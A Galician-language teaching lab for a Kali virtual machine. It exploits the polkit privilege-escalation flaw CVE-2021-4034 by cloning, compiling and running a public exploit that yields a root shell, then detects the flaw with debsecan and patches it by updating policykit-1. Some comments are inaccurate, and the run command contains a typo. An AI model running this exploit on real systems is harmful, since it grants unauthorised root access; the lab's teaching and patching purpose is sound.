CVE+debsecan

ESCENARIO

Máquina virtual ou física:
RAM ≤ 2048MB CPU ≤ 2 PAE/NX habilitado
ISO/CD/DVD/USB: kali-linux-2021.4a-live-amd64.iso
REDE: DHCP (NAT)
BIOS: Permite arranque dispositivo extraíble: CD/DVD, USB

LIMITACIÓN DE RESPONSABILIDADE O autor do presente documento declina calquera responsabilidade asociada ao uso incorrecto e/ou malicioso que puidese realizarse coa información exposta no mesmo. Por tanto, non se fai responsable en ningún caso, nin pode ser considerado legalmente responsable en ningún caso, das consecuencias que poidan derivarse da información contida nel ou que esté enlazada dende ou hacia el, incluíndo os posibles erros e información incorrecta existentes, información difamatoria, así como das consecuencias que se poidan derivar sobre a súa aplicación en sistemas de información reais e/ou virtuais. Este documento foi xerado para uso didáctico e debe ser empregado en contornas privadas e virtuais controladas co permiso correspondente do administrador desas contornas.

NOTAS:

- **[1] Concepto CVE**
- **[2] CVE Id**
- **[3] Debian e CVE**
- **[4] CVE Program Mission**
- **[5] INCIBE - CVE-2021-4034**
- **[6] Exploit CVE-2021-4034**

Máquina virtual Kali amd64 *(kali-linux-2021.4a-live-amd64.iso)*

1. **exploit (Explotar a vulnerabilidade CVE-2021-4034)**
   A. Arrancar coa Kali Live amd64
   B. Na contorna gráfica abrir un terminal e executar:

```
kali@kali:~$ setxkbmap es #Cambiar o mapa de teclado ao idioma español.
kali@kali:~$ git clone https://github.com/berdav/CVE-2021-4034 #Descargar o repositorio hashclash de git de Marc Stevens
kali@kali:~$ cd CVE-2021-4034 #Acceder ao cartafol CVE-2021-4034
kali@kali:~$ make #Compilar para crear o executable(exploit) cve-2021-4034
kali@kali:~$ ./cve-20211-4034 #Executar o exploit cve-2021-4034
   # #CONSEGUIDO ACCESO ROOT
   # id #Imprime UIDs e GIDs reais e efectivos do usuario que executa o comando, neste caso os do usuario root
   # exit #Saír da consola root que acabamos de conseguir mediante escalada de privilexios (CVE-2021-4034).
kali@kali:~$ exit #Pechar o terminal saíndo da consola local do usuario kali.
```

2. **debsecan (Listar vulnerabilidades presentes no sistema operativo)**

Na contorna gráfica abrir un terminal e executar:

```
kali@kali:~$ setxkbmap es #Cambiar o mapa de teclado ao idioma español.
kali@kali:~$ sudo su - #Acceder á consola de root(administrador) a través dos permisos configurados co comando sudo (/etc/sudoers, visudo)
   root@kali:~# apt update || apt-get update #Actualizar repositorios declarados no ficheiro /etc/apt/souces.list e nos ficheiros existentes no directorio /etc/apt/sources.list.d
   Así, unha vez realizada a consulta dos ficheiros existentes nas rutas anteriores, descárganse uns ficheiros coas listas de paquetes posibles a instalar. Estes ficheiros son gardados en /var/lib/apt/lists
   root@kali:~# apt search debsecan || apt-cache search debsecan #Buscar nas anteriores listas descargadas en /var/lib/apt/lists paquetes que coincidan co patrón de búsqueda debsecan. A saída do/s comando/s amosan o nome do/s paquete/s e unha pequena descrición do/s mesmo/s.
   root@kali:~# apt show debsecan || apt-cache show debsecan #Amosa información sobre o paquete debsecan, incluídas as súas dependencias, instalación e tamaño de descarga, fontes nas que está dispoñible o paquete, descrición do contido dos paquetes e moito máis.
```

> debsecan é unha ferramenta para xerar unha lista de vulnerabilidades que afectan a instalacións concretas de Debian.
> debsecan execútase no sistema que se vai a analizar, e descarga da internet información sobre vulnerabilidades. Pode enviar correos electrónicos ás partes interesadas cando se descubran novas vulnerabilidades ou cando as actualizacións de seguridade estean dispoñibles.

```
   root@kali:~# apt -y install debsecan || apt-get -y install debsecan #Instalar o paquete de nome debsecan. Co parámetro -y automaticamente asumimos yes a calquera pregunta que ocorra na instalación do paquete.
   root@kali:~# debsecan #Execución para auditar e conseguir as vulnerabilidades existentes no noso sistema operativo
   root@kali:~# debsecan | grep -i cve-2021-4034 #Filtrar a saída da execución do comando debsecan para revisar se o sistema operativo é vulnerable ao CVE-2021-4034

   CVE-2021-4034 gir1.2-polkit-1.0
   CVE-2021-4034 libpolkit-agent-1-0
   CVE-2021-4034 libpolkit-gobject-1-0
   CVE-2021-4034 policykit-1

   root@kali:~# exit #Saír da consola local sudo na que estabamos a traballar para voltar á consola local de kali.
kali@kali:~$ exit #Pechar o terminal saíndo da consola local do usuario kali.
```

3. **Corrixir vulnerabilidades (Actualización de paquetes do sistema operativo)**

   Na contorna gráfica abrir un terminal e executar:

   kali@kali:~$ setxkbmap es #Cambiar o mapa de teclado ao idioma español.
   kali@kali:~$ sudo su - #Acceder á consola de root(administrador) a través dos permisos configurados co comando sudo (/etc/sudoers, visudo)

   root@kali:~# apt policy policykit-1 #Amosa o posible paquete candidato de policykit-1 a instalar e, dado o caso, que versión do paquete policykit-1 está instalado.

```
policykit-1:
  Installed: 0.105-31+kali1
  Candidate: 0.105-31.1+kali1
  Version table:
     0.105-31.1+kali1 500
        500 http://http.kali.org/kali kali-rolling/main amd64 Packages
 *** 0.105-31+kali1 100
        100 /var/lib/dpkg/status
```

   root@kali:~# apt -y install policykit-1 || apt-get -y install policykit-1 #Instalar o paquete de nome *policykit-1*. Co parámetro -y automaticamente asumimos yes a calquera pregunta que ocorra na instalación do paquete.
   root@kali:~# exit #Saír da consola local sudo na que estabamos a traballar para voltar á consola local de **kali**.

   Comprobar que a vulnerabilidade está corrixida realizando de novo o apartado 1B.

Ricardo Feijoo Costa